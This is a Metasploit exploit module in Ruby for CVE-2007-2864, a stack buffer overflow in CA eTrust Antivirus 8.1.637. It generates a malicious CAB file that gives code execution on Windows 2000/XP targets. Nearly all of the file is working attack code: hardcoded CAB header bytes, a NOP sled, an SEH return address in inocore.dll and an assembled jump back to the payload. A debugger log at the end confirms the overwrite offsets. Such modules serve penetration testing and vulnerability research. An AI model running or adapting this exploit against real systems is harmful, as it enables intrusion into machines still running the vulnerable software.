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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA Antivirus Engine CAB Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
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          By creating a specially crafted CAB file, an attacker may be able
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          to execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         => [ 'MC' ],
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      'References'     =>
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        [
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          [ 'CVE', '2007-2864' ],
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          [ 'OSVDB', '35245'],
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          [ 'BID', '24330' ],
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          [ 'ZDI', '07-035' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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          'DisablePayloadHandler' => true,
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        },
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      'Payload'        =>
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        {
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          'Space'    => 250,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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      'Platform' => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2007-06-05',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cab']),
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      ])
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  end
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  def exploit
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    cab_header =  "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
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    cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
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    cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
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    cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"
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    sploit =  make_nops(268 - payload.encoded.length) + payload.encoded
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    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
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    sploit << make_nops(800)
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    cab = cab_header + sploit
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(cab)
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  end
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end
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=begin
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0:001> !exchain
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00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
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00cdf2fc: 316a4130
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Invalid exception stack at 6a413969
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0:001> !pattern_offset 1024 0x6a413969
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[Byakugan] Control of 0x6a413969 at offset 268.
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0:001> !pattern_offset 1024 0x316a4130
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[Byakugan] Control of 0x316a4130 at offset 272.
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0:001> u 0x6dc886ea L3
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INOCORE!QSIInitQSysInfo+0x278a:
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6dc886ea 5f              pop     edi
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6dc886eb 5e              pop     esi
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6dc886ec c3              ret
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=end
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